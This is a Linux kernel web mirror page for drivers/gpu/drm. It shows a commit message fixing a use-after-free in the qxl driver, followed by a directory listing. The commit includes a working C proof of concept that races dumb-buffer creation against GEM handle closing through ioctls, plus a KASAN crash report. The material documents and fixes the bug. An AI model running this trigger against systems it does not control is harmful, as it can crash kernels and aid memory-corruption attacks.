mirror
/
linux
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
linux/drivers/gpu/drm
History
Wander Lairson Costa c611589b42 drm/qxl: fix UAF on handle creation 
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
	int ret;
	arg.width = arg.height = 0x20;
	arg.bpp = 32;
	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
	if(ret)
	{
		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
		exit(-1);
	}
	gem_close(arg.handle);
	while(1) {
		struct drm_mode_create_dumb args = {0};
		args.width = args.height = 0x20;
		args.bpp = 32;
		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
		if (ret) {
			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
			exit(-1);
		}

		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
		gem_close(args.handle);
	}
	return NULL;
}

void gem_close(int handle)
{
	struct drm_gem_close args;
	args.handle = handle;
	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
	if (!ret)
		printf("gem close handle %d\n", args.handle);
}

int main(void)
{
	dri_fd= open("/dev/dri/card0", O_RDWR);
	printf("fd:%d\n", dri_fd);

	if(dri_fd == -1)
		return -1;

	pthread_t tid1;

	if(pthread_create(&tid1,NULL,trigger,NULL)){
		perror("[*] thread_create tid1\n");
		return -1;
	}
	while (1)
	{
		gem_close(arg.handle);
	}
	return 0;
}

This is a KASAN report:

==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>

Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)

The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint

Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.

The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
 		2023-08-18 06:57:38 +10:00
..
amd Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0"" 2023-08-16 15:46:40 -04:00
arm drm/aperture: Remove primary argument 2023-04-16 14:17:41 +02:00
armada drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
aspeed drm/aspeed: Use GEM DMA fbdev emulation 2023-03-14 17:07:47 +01:00
ast drm/ast: Fix modeset failed on DisplayPort 2023-06-01 10:40:38 +02:00
atmel-hlcdc drm/atmel-hlcdc: Use GEM DMA fbdev emulation 2023-03-14 17:07:47 +01:00
bridge Revert "drm/bridge: lt9611: Do not generate HFP/HBP/HSA and EOT packet" 2023-08-04 10:26:29 +02:00
display drm changes for 6.5-rc1: 2023-06-29 11:00:17 -07:00
etnaviv Revert "drm/etnaviv: export client GPU usage statistics via fdinfo" 2023-03-30 17:47:05 +02:00
exynos drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
fsl-dcu drm/fsl-dcu: Use GEM DMA fbdev emulation 2023-03-14 17:07:48 +01:00
gma500 drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
gud
…
hisilicon
…
hyperv drm/aperture: Remove primary argument 2023-04-16 14:17:41 +02:00
i2c drm changes for 6.5-rc1: 2023-06-29 11:00:17 -07:00
i915 drm/i915: fix display probe for IVB Q and IVB D GT2 server 2023-08-14 11:59:30 -04:00
imx drm/imx/ipuv3: Fix front porch adjustment upon hactive aligning 2023-07-28 17:20:26 +02:00
ingenic drm/ingenic: Remove unnecessary include statements for drm_crtc_helper.h 2023-01-18 09:25:31 +01:00
kmb drm/kmb: Use GEM DMA fbdev emulation 2023-03-14 17:07:48 +01:00
lib
…
lima drm/lima: fix sched context destroy 2023-06-07 11:53:22 +08:00
logicvc drm/logicvc: Use GEM DMA fbdev emulation 2023-03-14 17:07:48 +01:00
mcde drm/mcde: Use GEM DMA fbdev emulation 2023-03-14 17:07:49 +01:00
mediatek drm/mediatek: Replace all non-returning strlcpy with strscpy 2023-06-01 07:07:37 -07:00
meson drm/meson: venc: include linux/bitfield.h 2023-06-02 15:47:52 +02:00
mgag200 Merge drm/drm-fixes into drm-misc-fixes 2023-05-12 09:47:12 +02:00
msm Merge tag 'drm-msm-fixes-2023-07-27' of https://gitlab.freedesktop.org/drm/msm into drm-fixes 2023-07-28 11:59:14 +10:00
mxsfb drm: lcdif: Add i.MX93 LCDIF compatible string 2023-05-26 19:07:33 +02:00
nouveau drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create 2023-08-16 23:45:04 +02:00
omapdrm drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
panel drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docs 2023-08-14 14:50:47 +02:00
panfrost drm next for 6.4-rc1 2023-04-25 16:12:15 -07:00
pl111 drm/pl111: Fix FB depth on IMPD-1 framebuffer 2023-05-16 09:46:21 +02:00
qxl drm/qxl: fix UAF on handle creation 2023-08-18 06:57:38 +10:00
radeon drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
renesas drm: Place Renesas drivers in a separate dir 2023-05-29 16:41:03 +03:00
rockchip drm/rockchip: Don't spam logs in atomic check 2023-08-09 14:36:19 +02:00
scheduler Linux 6.5-rc1 2023-07-11 09:23:20 +02:00
solomon drm: Switch i2c drivers back to use .probe() 2023-05-30 16:55:16 -07:00
sprd drm/sprd: Remove unnecessary include statements for drm_crtc_helper.h 2023-01-18 09:25:32 +01:00
sti drm/sti/sti_hdmi: convert to using is_hdmi from display info 2023-05-02 18:48:58 +03:00
stm drm/stm: ltdc: fix late dereference check 2023-05-26 13:31:22 +02:00
sun4i drm changes for 6.5-rc1: 2023-06-29 11:00:17 -07:00
tegra drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
tests Merge drm/drm-next into drm-misc-next 2023-05-09 15:03:40 +02:00
tidss drm/tidss: Use GEM DMA fbdev emulation 2023-03-14 17:07:49 +01:00
tilcdc drm/tilcdc: Use GEM DMA fbdev emulation 2023-03-14 17:07:49 +01:00
tiny drm: Use of_property_read_bool() for boolean properties 2023-03-30 13:46:07 -05:00
ttm drm/ttm: check null pointer before accessing when swapping 2023-07-27 09:51:51 +02:00
tve200 drm/tve200: Use devm_platform_ioremap_resource() 2023-04-24 10:04:33 +02:00
udl drm/udl: delete dead code 2023-05-03 16:32:33 +02:00
v3d drm/v3d: Use drm_sched_job_add_syncobj_dependency() 2023-02-24 17:23:43 -03:00
vboxvideo drm/vboxvideo: Remove unnecessary include statements for drm_crtc_helper.h 2023-01-18 09:25:32 +01:00
vc4 Merge tag 'amd-drm-next-6.5-2023-06-09' of https://gitlab.freedesktop.org/agd5f/linux into drm-next 2023-06-15 14:11:22 +10:00
vgem drm/vgem: Drop struct drm_vgem_gem_object 2023-03-20 08:14:27 -03:00
virtio drm/virtio: Wait for each dma-fence of in-fence array individually 2023-06-03 04:50:50 +03:00
vkms drm/vkms: Fix RGB565 pixel conversion 2023-05-15 10:58:11 -03:00
vmwgfx drm/vmwgfx: Add unwind hints around RBP clobber 2023-06-07 10:03:12 -07:00
xen mm: replace vma->vm_flags direct modifications with modifier calls 2023-02-09 16:51:39 -08:00
xlnx drm/xlnx: Use GEM DMA fbdev emulation 2023-03-14 17:07:49 +01:00
Kconfig Renesas DRM/KMS drivers: 2023-06-09 11:17:00 +10:00
Makefile Merge tag 'amd-drm-next-6.5-2023-06-09' of https://gitlab.freedesktop.org/agd5f/linux into drm-next 2023-06-15 14:11:22 +10:00
drm_agpsupport.c
…
drm_aperture.c video/aperture: Drop primary argument 2023-04-16 14:17:55 +02:00
drm_atomic.c drm/atomic: Fix potential use-after-free in nonblocking commits 2023-07-21 09:53:30 -07:00
drm_atomic_helper.c drm/drm_atomic_helper.c: fix a typo 2023-05-17 09:22:07 +02:00
drm_atomic_state_helper.c drm/atomic-helper: fix kernel-doc problems 2023-01-19 09:16:04 +01:00
drm_atomic_uapi.c
…
drm_auth.c
…
drm_blend.c
…
drm_bridge.c
…
drm_bridge_connector.c
…
drm_buddy.c drm: buddy_allocator: Fix buddy allocator init on 32-bit systems 2023-03-29 17:14:07 +02:00
drm_bufs.c
…
drm_cache.c
…
drm_client.c drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
drm_client_modeset.c drm/client: Fix memory leak in drm_client_modeset_probe 2023-07-13 15:55:58 +02:00
drm_color_mgmt.c
…
drm_connector.c drm/connector: Allow drivers to pass list of supported colorspaces 2023-06-09 12:46:44 -04:00
drm_context.c
…
drm_crtc.c
…
drm_crtc_helper.c
…
drm_crtc_helper_internal.h
…
drm_crtc_internal.h
…
drm_damage_helper.c
…
drm_debugfs.c drm: Track clients by tgid and not tid 2023-03-15 14:03:00 +01:00
drm_debugfs_crc.c
…
drm_displayid.c drm/displayid: provide access to DisplayID version and primary use case 2023-02-27 02:58:38 +03:00
drm_dma.c
…
drm_drv.c Documentation: vkms: clarify devres managed reference cleanup 2023-05-08 15:56:25 +00:00
drm_dumb_buffers.c drm: remove dumb_destroy callback 2023-02-10 12:19:27 +01:00
drm_edid.c Revert "drm/edid: Fix csync detailed mode parsing" 2023-08-17 14:39:12 +03:00
drm_edid_load.c
…
drm_encoder.c
…
drm_encoder_slave.c
…
drm_fb_dma_helper.c
…
drm_fb_helper.c Linux 6.4-rc7 2023-06-19 16:01:25 +10:00
drm_fbdev_dma.c drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
drm_fbdev_generic.c drm/client: Send hotplug event after registering a client 2023-07-11 14:02:01 +02:00
drm_file.c drm: Add fdinfo memory stats 2023-05-24 18:03:30 +02:00
drm_flip_work.c
…
drm_format_helper.c drm/format-helper: Support the AB24/XB24 formats 2023-01-23 15:02:41 +01:00
drm_fourcc.c
…
drm_framebuffer.c
…
drm_gem.c drm: convert drm_gem_put_pages() to use a folio_batch 2023-06-23 16:59:29 -07:00
drm_gem_atomic_helper.c
…
drm_gem_dma_helper.c - Daniel Verkamp has contributed a memfd series ("mm/memfd: add 2023-02-23 17:09:35 -08:00
drm_gem_framebuffer_helper.c drm/gem: Check for valid formats 2023-04-19 20:19:27 -03:00
drm_gem_shmem_helper.c drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap() 2023-08-10 08:29:14 +02:00
drm_gem_ttm_helper.c
…
drm_gem_vram_helper.c drm/vram-helper: fix function names in vram helper doc 2023-05-08 09:16:18 +02:00
drm_hashtab.c
…
drm_internal.h drm: remove dumb_destroy callback 2023-02-10 12:19:27 +01:00
drm_ioc32.c
…
drm_ioctl.c
…
drm_irq.c
…
drm_kms_helper_common.c
…
drm_lease.c drm: Remove unnecessary include statements for drm_crtc_helper.h 2023-01-18 09:25:30 +01:00
drm_legacy.h
…
drm_legacy_misc.c
…
drm_lock.c
…
drm_managed.c drivers/gpu: use ARCH_DMA_MINALIGN instead of ARCH_KMALLOC_MINALIGN 2023-06-19 16:19:21 -07:00
drm_memory.c
…
drm_mipi_dbi.c
…
drm_mipi_dsi.c drm/display/dp_mst: Replace all non-returning strlcpy with strscpy 2023-06-01 07:07:36 -07:00
drm_mm.c
…
drm_mode_config.c
…
drm_mode_object.c
…
drm_modes.c drm: Fix comment on mode parsing 2023-02-20 14:56:52 +01:00
drm_modeset_helper.c
…
drm_modeset_lock.c
…
drm_of.c drm: of: Add drm_of_get_dsi_bus helper function 2023-01-27 09:39:21 +01:00
drm_panel.c
…
drm_panel_orientation_quirks.c drm: panel-orientation-quirks: Change Air's quirk to support Air Plus 2023-05-17 11:46:49 +02:00
drm_pci.c
…
drm_plane.c
…
drm_plane_helper.c drm: Remove unnecessary include statements for drm_crtc_helper.h 2023-01-18 09:25:30 +01:00
drm_prime.c drm/prime: reject DMA-BUF attach when get_sg_table is missing 2023-04-03 14:31:24 +02:00
drm_print.c
…
drm_privacy_screen.c
…
drm_privacy_screen_x86.c
…
drm_probe_helper.c drm/probe-helper: Cancel previous job before starting new one 2023-02-27 16:19:14 +01:00
drm_property.c
…
drm_rect.c
…
drm_scatter.c
…
drm_self_refresh_helper.c
…
drm_simple_kms_helper.c
…
drm_suballoc.c drm/suballoc: Extract amdgpu_sa.c as generic suballocation helper 2023-03-01 17:18:19 +01:00
drm_syncobj.c dma-buf: fix an error pointer vs NULL bug 2023-07-06 19:50:23 +05:30
drm_sysfs.c Merge drm/drm-next into drm-misc-next 2023-05-09 15:03:40 +02:00
drm_trace.h
…
drm_trace_points.c
…
drm_vblank.c drm/vblank: Fix for drivers that do not drm_vblank_init() 2023-04-04 22:38:03 +02:00
drm_vblank_work.c
…
drm_vm.c mm: replace vma->vm_flags direct modifications with modifier calls 2023-02-09 16:51:39 -08:00
drm_vma_manager.c drm/drm_vma_manager: Add drm_vma_node_allow_once() 2023-01-19 14:16:55 +01:00
drm_writeback.c
…